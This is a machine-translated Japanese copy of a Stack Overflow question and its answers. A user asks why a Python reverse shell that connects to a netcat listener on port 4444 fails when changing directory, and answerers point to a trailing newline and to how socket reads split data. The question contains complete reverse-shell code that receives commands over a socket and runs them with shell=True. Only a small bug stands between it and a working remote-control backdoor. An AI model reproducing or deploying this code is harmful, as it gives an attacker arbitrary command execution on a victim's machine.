2017-08-05 6 views
0

逆シェルをnetcatでPython(逆tcp ip)でコーディングしようとしましたが、モジュールos.chdir ()ここに私のコードは次のとおりです。Pythonの逆シェル(tcp ip)コーダーでディレクトリを変更することはできません

import socket 
import subprocess 
import os 

host = 'localhost' 
port = 4444 

s = socket.socket() 
s.connect((host,port)) 


while True: 

directory = ("\n" + os.getcwd() + ">") 
directory = directory.encode() 
s.send(directory) 

data = s.recv(1024) 
if data[:2].decode('utf-8') == 'cd': 
    os.chdir(data[3:].decode('utf-8')) 
else: 
    comm = subprocess.Popen(str(data, "utf-8"), shell=True, stdout=subprocess.PIPE) 
    out,x = comm.communicate() 
    s.send(out) 

私が実行してnetcatを持つポート4444 を聞くことにより進行:4444 -lVP NCをそして、ここで私のscryptを実行しているエラーは、次のとおりです。

file "reverse-tcp.py", line 20, in <module> 
os.chdir(data[3:].decode('utf-8')) 
OSError: [WinError 123] 
A syntax of file name, directory, or volume is incorrect 
'C:\\Users\\Isabelle\\Desktop\\dossier\n' 
+0

シェルで実行するコマンドを分離する目的は何ですか?あなたがそれを確立すると、あなたはかなり簡単にOSを見つけることができるし、コマンドやそれ以降のスクリプトを実行するだけです。 – Fallenreaper

+1

コードを適切に書式設定してインデントしてください。 –

答えて

0

問題ファイル名に関連しています:C:\\Users\\Isabelle\\Desktop\\dossier\nここで、\nLinefeed (LF)です。 結果は無効なパスです。

0

変更するディレクトリの名前でコマンドの最後に行区切り文字を含めます。 rstripで行の区切り記号をオフにして解決することはできますが、その方法をとると将来の問題が発生する可能性があります。

データの複数の行が含まれている可能性があります。 dataには、1つのコマンド、またはコマンド全体が含まれる保証はありません。入力を行に分割する処理があり、dataが行の途中で終了した場合は、次のrecvの最初の行と結合します。

+0

StackOverflowの誰も[あなたのコードを書く]ここにいません(https://meta.stackexchange.com/questions/52101/how-to-respond-to-people-just-asking-for-code-without-any-自分の努力)。この他の質問の答えで行ごとに読んだ例があります:https://stackoverflow.com/a/16512082/20068 – LeBleu

+0

申し訳ありません私はよく分かりませんでした。 –

関連する問題